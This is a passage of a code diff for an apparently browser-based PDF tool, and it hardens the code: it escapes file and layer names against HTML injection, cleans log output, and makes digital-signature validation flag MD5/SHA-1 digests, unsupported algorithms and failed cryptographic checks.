try {
const existingField = form.getFieldMaybe(name);
if (existingField) {
form.removeField(existingField);
}
} catch (error) {
console.warn(
`Failed to remove extracted field "${name}" after import:`,
error
);
}
}
renderCanvas();
updateFieldCount();
}
}, 50);
}
}
}, 100);
const form = uploadedPdfDoc.getForm();
for (const name of extractedFieldNames) {
try {
const existingField = form.getFieldMaybe(name);
if (existingField) {
form.removeField(existingField);
}
} catch (error) {
console.warn(
`Failed to remove extracted field "${name}" after import:`,
error
);
}
} catch (e) {
console.error('Error accessing iframe content:', e);
}
};
canvas.appendChild(iframe);
console.log('Canvas dimensions:', {
width: canvasWidth,
height: canvasHeight,
scale: currentScale,
});
console.log('PDF page dimensions:', {
width: currentPage.width,
height: currentPage.height,
});
renderCanvas();
updateFieldCount();
}
} catch (error) {
console.error('Error rendering PDF:', error);
}
@@ -3115,8 +2986,8 @@ function extractExistingFields(pdfDoc: PDFDocument): void {
pdfDoc,
fieldCounterStart: fieldCounter,
metrics: {
pdfViewerOffset,
pdfViewerScale,
pdfViewerOffset: { x: 0, y: 0 },
pdfViewerScale: currentScale,
},
});
+36 -13
View File
@@ -54,19 +54,42 @@ function updateFileDisplay() {
? `${(currentFile.size / 1024).toFixed(1)} KB`
: `${(currentFile.size / 1024 / 1024).toFixed(2)} MB`;
displayArea.innerHTML = `
<div class="bg-gray-700 p-3 rounded-lg border border-gray-600 hover:border-indigo-500 transition-colors">
<div class="flex items-center justify-between">
<div class="flex-1 min-w-0">
<p class="truncate font-medium text-white">${currentFile.name}</p>
<p class="text-gray-400 text-sm">${fileSize}</p>
</div>
<button id="remove-file" class="text-red-400 hover:text-red-300 p-2 flex-shrink-0 ml-2" title="Remove file">
<i data-lucide="trash-2" class="w-4 h-4"></i>
</button>
</div>
</div>
`;
displayArea.textContent = '';
const card = document.createElement('div');
card.className =
'bg-gray-700 p-3 rounded-lg border border-gray-600 hover:border-indigo-500 transition-colors';
const row = document.createElement('div');
row.className = 'flex items-center justify-between';
const info = document.createElement('div');
info.className = 'flex-1 min-w-0';
const nameP = document.createElement('p');
nameP.className = 'truncate font-medium text-white';
nameP.textContent = currentFile.name;
const sizeP = document.createElement('p');
sizeP.className = 'text-gray-400 text-sm';
sizeP.textContent = fileSize;
info.append(nameP, sizeP);
const removeBtn = document.createElement('button');
removeBtn.id = 'remove-file';
removeBtn.className =
'text-red-400 hover:text-red-300 p-2 flex-shrink-0 ml-2';
removeBtn.title = 'Remove file';
const removeIcon = document.createElement('i');
removeIcon.setAttribute('data-lucide', 'trash-2');
removeIcon.className = 'w-4 h-4';
removeBtn.appendChild(removeIcon);
row.append(info, removeBtn);
card.appendChild(row);
displayArea.appendChild(card);
createIcons({ icons });
+2 -1
View File
@@ -2,6 +2,7 @@ import { showLoader, hideLoader, showAlert } from '../ui.js';
import { t } from '../i18n/i18n';
import {
downloadFile,
escapeHtml,
readFileAsArrayBuffer,
formatBytes,
getPDFDocument,
@@ -208,7 +209,7 @@ document.addEventListener('DOMContentLoaded', () => {
<div class="layer-item" data-number="${layer.number}" style="padding-left: ${layer.depth * 24 + 8}px;">
<label class="layer-toggle">
<input type="checkbox" ${layer.on ? 'checked' : ''} ${layer.locked ? 'disabled' : ''} data-xref="${layer.xref}" />
<span class="layer-name">${layer.depth > 0 ? '└ ' : ''}${layer.text || `Layer ${layer.number}`}</span>
<span class="layer-name">${layer.depth > 0 ? '└ ' : ''}${escapeHtml(layer.text || `Layer ${layer.number}`)}</span>
${layer.locked ? '<span class="layer-locked">🔒</span>' : ''}
</label>
<div class="layer-actions">
+9
View File
@@ -193,6 +193,15 @@ function initializeTool() {
document
.getElementById('pdf-file-input')
?.addEventListener('change', handlePdfUpload);
document.getElementById('upload-area')?.addEventListener('click', () => {
document.getElementById('pdf-file-input')?.click();
});
document
.getElementById('pdf-file-input-select-btn')
?.addEventListener('click', (e) => {
e.stopPropagation();
document.getElementById('pdf-file-input')?.click();
});
document
.getElementById('insert-pdf-input')
?.addEventListener('change', handleInsertPdf);
+4 -1
View File
@@ -554,7 +554,10 @@ async function addNodeToCanvas(
try {
const node = createNodeByType(type);
if (!node) {
console.error('Node type not found in registry:', type);
console.error(
'Node type not found in registry:',
String(type).replace(/[\r\n]+/g, ' ')
);
return;
}
await editor.addNode(node);
+2 -1
View File
@@ -2,6 +2,7 @@ import { PDFDocument, PDFName } from 'pdf-lib';
import { createIcons, icons } from 'lucide';
import { loadPdfWithPasswordPrompt } from '../utils/password-prompt.js';
import { loadPdfDocument } from '../utils/load-pdf-document.js';
import { escapeHtml } from '../utils/helpers.js';
// State management
const pageState: { pdfDoc: PDFDocument | null; file: File | null } = {
@@ -70,7 +71,7 @@ function updateFileDisplay() {
<div class="bg-gray-700 p-3 rounded-lg border border-gray-600 hover:border-indigo-500 transition-colors">
<div class="flex items-center justify-between">
<div class="flex-1 min-w-0">
<p class="truncate font-medium text-white">${pageState.file.name}</p>
<p class="truncate font-medium text-white">${escapeHtml(pageState.file.name)}</p>
<p class="text-gray-400 text-sm">${fileSize} • ${pageCount} page${pageCount !== 1 ? 's' : ''}</p>
</div>
<button id="remove-file" class="text-red-400 hover:text-red-300 p-2 flex-shrink-0 ml-2" title="Remove file">
+2 -1
View File
@@ -4,6 +4,7 @@ import { createIcons, icons } from 'lucide';
import { initPagePreview } from '../utils/page-preview.js';
import { loadPdfWithPasswordPrompt } from '../utils/password-prompt.js';
import { loadPdfDocument } from '../utils/load-pdf-document.js';
import { escapeHtml } from '../utils/helpers.js';
pdfjsLib.GlobalWorkerOptions.workerSrc = new URL(
'pdfjs-dist/build/pdf.worker.min.mjs',
@@ -79,7 +80,7 @@ function updateFileDisplay() {
<div class="bg-gray-700 p-3 rounded-lg border border-gray-600 hover:border-indigo-500 transition-colors">
<div class="flex items-center justify-between">
<div class="flex-1 min-w-0">
<p class="truncate font-medium text-white">${pageState.file.name}</p>
<p class="truncate font-medium text-white">${escapeHtml(pageState.file.name)}</p>
<p class="text-gray-400 text-sm">${fileSize} • ${pageCount} page${pageCount !== 1 ? 's' : ''}</p>
</div>
<button id="remove-file" class="text-red-400 hover:text-red-300 p-2 flex-shrink-0 ml-2" title="Remove file">
+1 -1
View File
@@ -85,7 +85,7 @@ function createPageWrapper(
const canvasWrapper = document.createElement('div');
canvasWrapper.className =
'thumbnail-wrapper flex items-center justify-center p-2 h-36';
'thumbnail-wrapper flex items-center justify-center p-2 h-36 pointer-events-none';
canvasWrapper.style.transition = 'transform 0.3s ease';
// Apply initial rotation if it exists (negated for canvas display)
const initialRotation = pageState.rotations[pageIndex] || 0;
+1 -1
View File
@@ -77,7 +77,7 @@ function createPageWrapper(
const canvasWrapper = document.createElement('div');
canvasWrapper.className =
'thumbnail-wrapper flex items-center justify-center p-2 h-36';
'thumbnail-wrapper flex items-center justify-center p-2 h-36 pointer-events-none';
canvasWrapper.style.transition = 'transform 0.3s ease';
// Apply initial rotation if it exists
const initialRotation = pageState.rotations[pageIndex] || 0;
+327 -269
View File
@@ -6,303 +6,329 @@ import forge from 'node-forge';
import { SignatureValidationResult, ValidateSignatureState } from '@/types';
const state: ValidateSignatureState = {
pdfFile: null,
pdfBytes: null,
results: [],
trustedCertFile: null,
trustedCert: null,
pdfFile: null,
pdfBytes: null,
results: [],
trustedCertFile: null,
trustedCert: null,
};
function getElement<T extends HTMLElement>(id: string): T | null {
return document.getElementById(id) as T | null;
return document.getElementById(id) as T | null;
}
function resetState(): void {
state.pdfFile = null;
state.pdfBytes = null;
state.results = [];
state.pdfFile = null;
state.pdfBytes = null;
state.results = [];
const fileDisplayArea = getElement<HTMLDivElement>('file-display-area');
if (fileDisplayArea) fileDisplayArea.innerHTML = '';
const fileDisplayArea = getElement<HTMLDivElement>('file-display-area');
if (fileDisplayArea) fileDisplayArea.innerHTML = '';
const resultsSection = getElement<HTMLDivElement>('results-section');
if (resultsSection) resultsSection.classList.add('hidden');
const resultsSection = getElement<HTMLDivElement>('results-section');
if (resultsSection) resultsSection.classList.add('hidden');
const resultsContainer = getElement<HTMLDivElement>('results-container');
if (resultsContainer) resultsContainer.innerHTML = '';
const resultsContainer = getElement<HTMLDivElement>('results-container');
if (resultsContainer) resultsContainer.innerHTML = '';
const fileInput = getElement<HTMLInputElement>('file-input');
if (fileInput) fileInput.value = '';
const fileInput = getElement<HTMLInputElement>('file-input');
if (fileInput) fileInput.value = '';
const customCertSection = getElement<HTMLDivElement>('custom-cert-section');
if (customCertSection) customCertSection.classList.add('hidden');
const customCertSection = getElement<HTMLDivElement>('custom-cert-section');
if (customCertSection) customCertSection.classList.add('hidden');
}
function resetCertState(): void {
state.trustedCertFile = null;
state.trustedCert = null;
state.trustedCertFile = null;
state.trustedCert = null;
const certDisplayArea = getElement<HTMLDivElement>('cert-display-area');
if (certDisplayArea) certDisplayArea.innerHTML = '';
const certDisplayArea = getElement<HTMLDivElement>('cert-display-area');
if (certDisplayArea) certDisplayArea.innerHTML = '';
const certInput = getElement<HTMLInputElement>('cert-input');
if (certInput) certInput.value = '';
const certInput = getElement<HTMLInputElement>('cert-input');
if (certInput) certInput.value = '';
}
function initializePage(): void {
createIcons({ icons });
createIcons({ icons });
const fileInput = getElement<HTMLInputElement>('file-input');
const dropZone = getElement<HTMLDivElement>('drop-zone');
const backBtn = getElement<HTMLButtonElement>('back-to-tools');
const certInput = getElement<HTMLInputElement>('cert-input');
const certDropZone = getElement<HTMLDivElement>('cert-drop-zone');
const fileInput = getElement<HTMLInputElement>('file-input');
const dropZone = getElement<HTMLDivElement>('drop-zone');
const backBtn = getElement<HTMLButtonElement>('back-to-tools');
const certInput = getElement<HTMLInputElement>('cert-input');
const certDropZone = getElement<HTMLDivElement>('cert-drop-zone');
if (fileInput) {
fileInput.addEventListener('change', handlePdfUpload);
fileInput.addEventListener('click', () => {
fileInput.value = '';
});
}
if (fileInput) {
fileInput.addEventListener('change', handlePdfUpload);
fileInput.addEventListener('click', () => {
fileInput.value = '';
});
}
if (dropZone) {
dropZone.addEventListener('dragover', (e) => {
e.preventDefault();
dropZone.classList.add('bg-gray-700');
});
if (dropZone) {
dropZone.addEventListener('dragover', (e) => {
e.preventDefault();
dropZone.classList.add('bg-gray-700');
});
dropZone.addEventListener('dragleave', () => {
dropZone.classList.remove('bg-gray-700');
});
dropZone.addEventListener('dragleave', () => {
dropZone.classList.remove('bg-gray-700');
});
dropZone.addEventListener('drop', (e) => {
e.preventDefault();
dropZone.classList.remove('bg-gray-700');
const droppedFiles = e.dataTransfer?.files;
if (droppedFiles && droppedFiles.length > 0) {
handlePdfFile(droppedFiles[0]);
}
});
}
dropZone.addEventListener('drop', (e) => {
e.preventDefault();
dropZone.classList.remove('bg-gray-700');
const droppedFiles = e.dataTransfer?.files;
if (droppedFiles && droppedFiles.length > 0) {
handlePdfFile(droppedFiles[0]);
}
});
}
if (certInput) {
certInput.addEventListener('change', handleCertUpload);
certInput.addEventListener('click', () => {
certInput.value = '';
});
}
if (certInput) {
certInput.addEventListener('change', handleCertUpload);
certInput.addEventListener('click', () => {
certInput.value = '';
});
}
if (certDropZone) {
certDropZone.addEventListener('dragover', (e) => {
e.preventDefault();
certDropZone.classList.add('bg-gray-700');
});
if (certDropZone) {
certDropZone.addEventListener('dragover', (e) => {
e.preventDefault();
certDropZone.classList.add('bg-gray-700');
});
certDropZone.addEventListener('dragleave', () => {
certDropZone.classList.remove('bg-gray-700');
});
certDropZone.addEventListener('dragleave', () => {
certDropZone.classList.remove('bg-gray-700');
});
certDropZone.addEventListener('drop', (e) => {
e.preventDefault();
certDropZone.classList.remove('bg-gray-700');
const droppedFiles = e.dataTransfer?.files;
if (droppedFiles && droppedFiles.length > 0) {
handleCertFile(droppedFiles[0]);
}
});
}
certDropZone.addEventListener('drop', (e) => {
e.preventDefault();
certDropZone.classList.remove('bg-gray-700');
const droppedFiles = e.dataTransfer?.files;
if (droppedFiles && droppedFiles.length > 0) {
handleCertFile(droppedFiles[0]);
}
});
}
if (backBtn) {
backBtn.addEventListener('click', () => {
window.location.href = import.meta.env.BASE_URL;
});
}
if (backBtn) {
backBtn.addEventListener('click', () => {
window.location.href = import.meta.env.BASE_URL;
});
}
}
function handlePdfUpload(e: Event): void {
const input = e.target as HTMLInputElement;
if (input.files && input.files.length > 0) {
handlePdfFile(input.files[0]);
}
const input = e.target as HTMLInputElement;
if (input.files && input.files.length > 0) {
handlePdfFile(input.files[0]);
}
}
async function handlePdfFile(file: File): Promise<void> {
if (file.type !== 'application/pdf' && !file.name.toLowerCase().endsWith('.pdf')) {
showAlert('Invalid File', 'Please select a PDF file.');
return;
}
if (
file.type !== 'application/pdf' &&
!file.name.toLowerCase().endsWith('.pdf')
) {
showAlert('Invalid File', 'Please select a PDF file.');
return;
}
resetState();
state.pdfFile = file;
state.pdfBytes = new Uint8Array(await readFileAsArrayBuffer(file) as ArrayBuffer);
resetState();
state.pdfFile = file;
state.pdfBytes = new Uint8Array(
(await readFileAsArrayBuffer(file)) as ArrayBuffer
);
updatePdfDisplay();
updatePdfDisplay();
const customCertSection = getElement<HTMLDivElement>('custom-cert-section');
if (customCertSection) customCertSection.classList.remove('hidden');
createIcons({ icons });
const customCertSection = getElement<HTMLDivElement>('custom-cert-section');
if (customCertSection) customCertSection.classList.remove('hidden');
createIcons({ icons });
await validateSignatures();
await validateSignatures();
}
function updatePdfDisplay(): void {
const fileDisplayArea = getElement<HTMLDivElement>('file-display-area');
if (!fileDisplayArea || !state.pdfFile) return;
const fileDisplayArea = getElement<HTMLDivElement>('file-display-area');
if (!fileDisplayArea || !state.pdfFile) return;
fileDisplayArea.innerHTML = '';
fileDisplayArea.innerHTML = '';
const fileDiv = document.createElement('div');
fileDiv.className = 'flex items-center justify-between bg-gray-700 p-3 rounded-lg';
const fileDiv = document.createElement('div');
fileDiv.className =
'flex items-center justify-between bg-gray-700 p-3 rounded-lg';
const infoContainer = document.createElement('div');
infoContainer.className = 'flex flex-col flex-1 min-w-0';
const infoContainer = document.createElement('div');
infoContainer.className = 'flex flex-col flex-1 min-w-0';
const nameSpan = document.createElement('div');
nameSpan.className = 'truncate font-medium text-gray-200 text-sm mb-1';
nameSpan.textContent = state.pdfFile.name;
const nameSpan = document.createElement('div');
nameSpan.className = 'truncate font-medium text-gray-200 text-sm mb-1';
nameSpan.textContent = state.pdfFile.name;
const metaSpan = document.createElement('div');
metaSpan.className = 'text-xs text-gray-400';
metaSpan.textContent = formatBytes(state.pdfFile.size);
const metaSpan = document.createElement('div');
metaSpan.className = 'text-xs text-gray-400';
metaSpan.textContent = formatBytes(state.pdfFile.size);
infoContainer.append(nameSpan, metaSpan);
infoContainer.append(nameSpan, metaSpan);
const removeBtn = document.createElement('button');
removeBtn.className = 'ml-4 text-red-400 hover:text-red-300 flex-shrink-0';
removeBtn.innerHTML = '<i data-lucide="trash-2" class="w-4 h-4"></i>';
removeBtn.onclick = () => resetState();
const removeBtn = document.createElement('button');
removeBtn.className = 'ml-4 text-red-400 hover:text-red-300 flex-shrink-0';
removeBtn.innerHTML = '<i data-lucide="trash-2" class="w-4 h-4"></i>';
removeBtn.onclick = () => resetState();
fileDiv.append(infoContainer, removeBtn);
fileDisplayArea.appendChild(fileDiv);
createIcons({ icons });
fileDiv.append(infoContainer, removeBtn);
fileDisplayArea.appendChild(fileDiv);
createIcons({ icons });
}
function handleCertUpload(e: Event): void {
const input = e.target as HTMLInputElement;
if (input.files && input.files.length > 0) {
handleCertFile(input.files[0]);
}
const input = e.target as HTMLInputElement;
if (input.files && input.files.length > 0) {
handleCertFile(input.files[0]);
}
}
async function handleCertFile(file: File): Promise<void> {
const validExtensions = ['.pem', '.crt', '.cer', '.der'];
const hasValidExtension = validExtensions.some(ext => file.name.toLowerCase().endsWith(ext));
const validExtensions = ['.pem', '.crt', '.cer', '.der'];
const hasValidExtension = validExtensions.some((ext) =>
file.name.toLowerCase().endsWith(ext)
);
if (!hasValidExtension) {
showAlert('Invalid Certificate', 'Please select a .pem, .crt, .cer, or .der certificate file.');
return;
if (!hasValidExtension) {
showAlert(
'Invalid Certificate',
'Please select a .pem, .crt, .cer, or .der certificate file.'
);
return;
}
resetCertState();
state.trustedCertFile = file;
try {
const content = await file.text();
if (content.includes('-----BEGIN CERTIFICATE-----')) {
state.trustedCert = forge.pki.certificateFromPem(content);
} else {
const bytes = new Uint8Array(
(await readFileAsArrayBuffer(file)) as ArrayBuffer
);
const derString = String.fromCharCode.apply(null, Array.from(bytes));
const asn1 = forge.asn1.fromDer(derString);
state.trustedCert = forge.pki.certificateFromAsn1(asn1);
}
updateCertDisplay();
if (state.pdfBytes) {
await validateSignatures();
}
} catch (error) {
console.error('Error parsing certificate:', error);
showAlert('Invalid Certificate', 'Failed to parse the certificate file.');
resetCertState();
state.trustedCertFile = file;
try {
const content = await file.text();
if (content.includes('-----BEGIN CERTIFICATE-----')) {
state.trustedCert = forge.pki.certificateFromPem(content);
} else {
const bytes = new Uint8Array(await readFileAsArrayBuffer(file) as ArrayBuffer);
const derString = String.fromCharCode.apply(null, Array.from(bytes));
const asn1 = forge.asn1.fromDer(derString);
state.trustedCert = forge.pki.certificateFromAsn1(asn1);
}
updateCertDisplay();
if (state.pdfBytes) {
await validateSignatures();
}
} catch (error) {
console.error('Error parsing certificate:', error);
showAlert('Invalid Certificate', 'Failed to parse the certificate file.');
resetCertState();
}
}
}
function updateCertDisplay(): void {
const certDisplayArea = getElement<HTMLDivElement>('cert-display-area');
if (!certDisplayArea || !state.trustedCertFile || !state.trustedCert) return;
const certDisplayArea = getElement<HTMLDivElement>('cert-display-area');
if (!certDisplayArea || !state.trustedCertFile || !state.trustedCert) return;
certDisplayArea.innerHTML = '';
certDisplayArea.innerHTML = '';
const certDiv = document.createElement('div');
certDiv.className = 'flex items-center justify-between bg-gray-700 p-3 rounded-lg';
const certDiv = document.createElement('div');
certDiv.className =
'flex items-center justify-between bg-gray-700 p-3 rounded-lg';
const infoContainer = document.createElement('div');
infoContainer.className = 'flex flex-col flex-1 min-w-0';
const infoContainer = document.createElement('div');
infoContainer.className = 'flex flex-col flex-1 min-w-0';
const nameSpan = document.createElement('div');
nameSpan.className = 'truncate font-medium text-gray-200 text-sm mb-1';
const nameSpan = document.createElement('div');
nameSpan.className = 'truncate font-medium text-gray-200 text-sm mb-1';
const cn = state.trustedCert.subject.getField('CN');
nameSpan.textContent = cn?.value as string || state.trustedCertFile.name;
const cn = state.trustedCert.subject.getField('CN');
nameSpan.textContent = (cn?.value as string) || state.trustedCertFile.name;
const metaSpan = document.createElement('div');
metaSpan.className = 'text-xs text-green-400';
metaSpan.innerHTML = '<i data-lucide="check-circle" class="inline w-3 h-3 mr-1"></i>Trusted certificate loaded';
const metaSpan = document.createElement('div');
metaSpan.className = 'text-xs text-green-400';
metaSpan.innerHTML =
'<i data-lucide="check-circle" class="inline w-3 h-3 mr-1"></i>Trusted certificate loaded';
infoContainer.append(nameSpan, metaSpan);
infoContainer.append(nameSpan, metaSpan);
const removeBtn = document.createElement('button');
removeBtn.className = 'ml-4 text-red-400 hover:text-red-300 flex-shrink-0';
removeBtn.innerHTML = '<i data-lucide="trash-2" class="w-4 h-4"></i>';
removeBtn.onclick = async () => {
resetCertState();
if (state.pdfBytes) {
await validateSignatures();
}
};
const removeBtn = document.createElement('button');
removeBtn.className = 'ml-4 text-red-400 hover:text-red-300 flex-shrink-0';
removeBtn.innerHTML = '<i data-lucide="trash-2" class="w-4 h-4"></i>';
removeBtn.onclick = async () => {
resetCertState();
if (state.pdfBytes) {
await validateSignatures();
}
};
certDiv.append(infoContainer, removeBtn);
certDisplayArea.appendChild(certDiv);
createIcons({ icons });
certDiv.append(infoContainer, removeBtn);
certDisplayArea.appendChild(certDiv);
createIcons({ icons });
}
async function validateSignatures(): Promise<void> {
if (!state.pdfBytes) return;
if (!state.pdfBytes) return;
showLoader('Analyzing signatures...');
showLoader('Analyzing signatures...');
try {
state.results = await validatePdfSignatures(state.pdfBytes, state.trustedCert ?? undefined);
displayResults();
} catch (error) {
console.error('Validation error:', error);
showAlert('Error', 'Failed to validate signatures. The file may be corrupted.');
} finally {
hideLoader();
}
try {
state.results = await validatePdfSignatures(
state.pdfBytes,
state.trustedCert ?? undefined
);
displayResults();
} catch (error) {
console.error('Validation error:', error);
showAlert(
'Error',
'Failed to validate signatures. The file may be corrupted.'
);
} finally {
hideLoader();
}
}
function displayResults(): void {
const resultsSection = getElement<HTMLDivElement>('results-section');
const resultsContainer = getElement<HTMLDivElement>('results-container');
const resultsSection = getElement<HTMLDivElement>('results-section');
const resultsContainer = getElement<HTMLDivElement>('results-container');
if (!resultsSection || !resultsContainer) return;
if (!resultsSection || !resultsContainer) return;
resultsContainer.innerHTML = '';
resultsSection.classList.remove('hidden');
resultsContainer.innerHTML = '';
resultsSection.classList.remove('hidden');
if (state.results.length === 0) {
resultsContainer.innerHTML = `
if (state.results.length === 0) {
resultsContainer.innerHTML = `
<div class="bg-gray-700 rounded-lg p-6 text-center border border-gray-600">
<i data-lucide="file-x" class="w-12 h-12 mx-auto mb-4 text-gray-400"></i>
<h3 class="text-lg font-semibold text-white mb-2">No Signatures Found</h3>
<p class="text-gray-400">This PDF does not contain any digital signatures.</p>
</div>
`;
createIcons({ icons });
return;
}
createIcons({ icons });
return;
}
const summaryDiv = document.createElement('div');
summaryDiv.className = 'mb-4 p-3 bg-gray-700 rounded-lg border border-gray-600';
const summaryDiv = document.createElement('div');
summaryDiv.className =
'mb-4 p-3 bg-gray-700 rounded-lg border border-gray-600';
const validCount = state.results.filter(r => r.isValid && !r.isExpired).length;
const trustVerified = state.trustedCert ? state.results.filter(r => r.isTrusted).length : 0;
const validCount = state.results.filter(
(r) => r.isValid && !r.isExpired
).length;
const trustVerified = state.trustedCert
? state.results.filter((r) => r.isTrusted).length
: 0;
let summaryHtml = `
let summaryHtml = `
<p class="text-gray-300">
<span class="font-semibold text-white">${state.results.length}</span>
signature${state.results.length > 1 ? 's' : ''} found
@@ -311,69 +337,87 @@ function displayResults(): void {
</p>
`;
if (state.trustedCert) {
summaryHtml += `
if (state.trustedCert) {
summaryHtml += `
<p class="text-xs text-gray-400 mt-1">
<i data-lucide="shield-check" class="inline w-3 h-3 mr-1"></i>
Trust verification: ${trustVerified}/${state.results.length} signatures verified against custom certificate
</p>
`;
}
}
summaryDiv.innerHTML = summaryHtml;
resultsContainer.appendChild(summaryDiv);
summaryDiv.innerHTML = summaryHtml;
resultsContainer.appendChild(summaryDiv);
state.results.forEach((result, index) => {
const card = createSignatureCard(result, index);
resultsContainer.appendChild(card);
});
state.results.forEach((result, index) => {
const card = createSignatureCard(result, index);
resultsContainer.appendChild(card);
});
createIcons({ icons });
createIcons({ icons });
}
function createSignatureCard(result: SignatureValidationResult, index: number): HTMLElement {
const card = document.createElement('div');
card.className = 'bg-gray-700 rounded-lg p-4 border border-gray-600 mb-4';
function createSignatureCard(
result: SignatureValidationResult,
index: number
): HTMLElement {
const card = document.createElement('div');
card.className = 'bg-gray-700 rounded-lg p-4 border border-gray-600 mb-4';
let statusColor = 'text-green-400';
let statusIcon = 'check-circle';
let statusText = 'Valid Signature';
let statusColor = 'text-green-400';
let statusIcon = 'check-circle';
let statusText = 'Valid Signature';
if (!result.isValid) {
statusColor = 'text-red-400';
statusIcon = 'x-circle';
statusText = 'Invalid Signature';
} else if (result.isExpired) {
statusColor = 'text-yellow-400';
statusIcon = 'alert-triangle';
statusText = 'Certificate Expired';
} else if (result.isSelfSigned) {
statusColor = 'text-yellow-400';
statusIcon = 'alert-triangle';
statusText = 'Self-Signed Certificate';
if (!result.isValid) {
if (result.cryptoVerificationStatus === 'unsupported') {
statusColor = 'text-yellow-400';
statusIcon = 'alert-triangle';
statusText = 'Unverified — Unsupported Signature Algorithm';
} else {
statusColor = 'text-red-400';
statusIcon = 'x-circle';
statusText =
result.cryptoVerified === false
? 'Invalid — Cryptographic Verification Failed'
: 'Invalid Signature';
}
} else if (result.usesInsecureDigest) {
statusColor = 'text-red-400';
statusIcon = 'x-circle';
statusText = 'Insecure Digest (MD5 / SHA-1)';
} else if (result.isExpired) {
statusColor = 'text-yellow-400';
statusIcon = 'alert-triangle';
statusText = 'Certificate Expired';
} else if (result.isSelfSigned) {
statusColor = 'text-yellow-400';
statusIcon = 'alert-triangle';
statusText = 'Self-Signed Certificate';
}
const formatDate = (date: Date) => {
if (!date || date.getTime() === 0) return 'Unknown';
return date.toLocaleDateString(undefined, {
year: 'numeric',
month: 'short',
day: 'numeric',
hour: '2-digit',
minute: '2-digit'
});
};
const formatDate = (date: Date) => {
if (!date || date.getTime() === 0) return 'Unknown';
return date.toLocaleDateString(undefined, {
year: 'numeric',
month: 'short',
day: 'numeric',
hour: '2-digit',
minute: '2-digit',
});
};
let trustBadge = '';
if (state.trustedCert) {
if (result.isTrusted) {
trustBadge = '<span class="text-xs bg-green-900 text-green-300 px-2 py-1 rounded ml-2"><i data-lucide="shield-check" class="inline w-3 h-3 mr-1"></i>Trusted</span>';
} else {
trustBadge = '<span class="text-xs bg-gray-600 text-gray-300 px-2 py-1 rounded ml-2"><i data-lucide="shield-x" class="inline w-3 h-3 mr-1"></i>Not in trust chain</span>';
}
let trustBadge = '';
if (state.trustedCert) {
if (result.isTrusted) {
trustBadge =
'<span class="text-xs bg-green-900 text-green-300 px-2 py-1 rounded ml-2"><i data-lucide="shield-check" class="inline w-3 h-3 mr-1"></i>Trusted</span>';
} else {
trustBadge =
'<span class="text-xs bg-gray-600 text-gray-300 px-2 py-1 rounded ml-2"><i data-lucide="shield-x" class="inline w-3 h-3 mr-1"></i>Not in trust chain</span>';
}
}
card.innerHTML = `
card.innerHTML = `
<div class="flex items-start justify-between mb-4">
<div class="flex items-center gap-3">
<i data-lucide="${statusIcon}" class="w-6 h-6 ${statusColor}"></i>
@@ -383,12 +427,13 @@ function createSignatureCard(result: SignatureValidationResult, index: number):
</div>
</div>
<div class="flex items-center">
${result.coverageStatus === 'full'
? '<span class="text-xs bg-green-900 text-green-300 px-2 py-1 rounded">Full Coverage</span>'
: result.coverageStatus === 'partial'
? '<span class="text-xs bg-yellow-900 text-yellow-300 px-2 py-1 rounded">Partial Coverage</span>'
: ''
}${trustBadge}
${
result.coverageStatus === 'full'
? '<span class="text-xs bg-green-900 text-green-300 px-2 py-1 rounded">Full Coverage</span>'
: result.coverageStatus === 'partial'
? '<span class="text-xs bg-yellow-900 text-yellow-300 px-2 py-1 rounded">Partial Coverage</span>'
: ''
}${trustBadge}
</div>
</div>
@@ -407,12 +452,16 @@ function createSignatureCard(result: SignatureValidationResult, index: number):
</div>
</div>
${result.signatureDate ? `
${
result.signatureDate
? `
<div>
<p class="text-gray-400">Signed On</p>
<p class="text-white">${formatDate(result.signatureDate)}</p>
</div>
` : ''}
`
: ''
}
<div class="grid grid-cols-1 md:grid-cols-2 gap-4">
<div>
@@ -425,19 +474,27 @@ function createSignatureCard(result: SignatureValidationResult, index: number):
</div>
</div>
${result.reason ? `
${
result.reason
? `
<div>
<p class="text-gray-400">Reason</p>
<p class="text-white">${escapeHtml(result.reason)}</p>
</div>
` : ''}
`
: ''
}
${result.location ? `
${
result.location
? `
<div>
<p class="text-gray-400">Location</p>
<p class="text-white">${escapeHtml(result.location)}</p>
</div>
` : ''}
`
: ''
}
<details class="mt-2">
<summary class="cursor-pointer text-indigo-400 hover:text-indigo-300 text-sm">
@@ -448,22 +505,23 @@ function createSignatureCard(result: SignatureValidationResult, index: number):
<p><span class="text-gray-400">Digest Algorithm:</span> <span class="text-gray-300">${escapeHtml(result.algorithms.digest)}</span></p>
<p><span class="text-gray-400">Signature Algorithm:</span> <span class="text-gray-300">${escapeHtml(result.algorithms.signature)}</span></p>
${result.errorMessage ? `<p class="text-red-400">Error: ${escapeHtml(result.errorMessage)}</p>` : ''}
${result.unsupportedAlgorithmReason ? `<p class="text-yellow-300">${escapeHtml(result.unsupportedAlgorithmReason)}</p>` : ''}
</div>
</details>
</div>
`;
return card;
return card;
}
function escapeHtml(str: string): string {
const div = document.createElement('div');
div.textContent = str;
return div.innerHTML;
const div = document.createElement('div');
div.textContent = str;
return div.innerHTML;
}
if (document.readyState === 'loading') {
document.addEventListener('DOMContentLoaded', initializePage);
document.addEventListener('DOMContentLoaded', initializePage);
} else {
initializePage();
initializePage();
}
+554 -12
View File
@@ -1,6 +1,11 @@
import forge from 'node-forge';
import { ExtractedSignature, SignatureValidationResult } from '@/types';
const INSECURE_DIGEST_OIDS = new Set<string>([
'1.2.840.113549.2.5',
'1.3.14.3.2.26',
]);
export function extractSignatures(pdfBytes: Uint8Array): ExtractedSignature[] {
const signatures: ExtractedSignature[] = [];
const pdfString = new TextDecoder('latin1').decode(pdfBytes);
@@ -70,11 +75,11 @@ export function extractSignatures(pdfBytes: Uint8Array): ExtractedSignature[] {
return signatures;
}
export function validateSignature(
export async function validateSignature(
signature: ExtractedSignature,
pdfBytes: Uint8Array,
trustedCert?: forge.pki.Certificate
): SignatureValidationResult {
): Promise<SignatureValidationResult> {
const result: SignatureValidationResult = {
signatureIndex: signature.index,
isValid: false,
@@ -104,7 +109,10 @@ export function validateSignature(
asn1
) as forge.pkcs7.PkcsSignedData & {
rawCapture?: {
authenticatedAttributes?: Array<{ type: string; value: Date }>;
digestAlgorithm?: string;
authenticatedAttributes?: forge.asn1.Asn1[];
signature?: string;
signatureAlgorithm?: forge.asn1.Asn1[];
};
};
@@ -161,21 +169,47 @@ export function validateSignature(
}
}
const signerInfoFields = extractSignerInfoFields(p7);
const digestOid = signerInfoFields?.digestOid;
result.algorithms = {
digest: getDigestAlgorithmName(signerCert.siginfo?.algorithmOid || ''),
digest:
(digestOid && getDigestAlgorithmName(digestOid)) ||
getDigestAlgorithmName(signerCert.siginfo?.algorithmOid || ''),
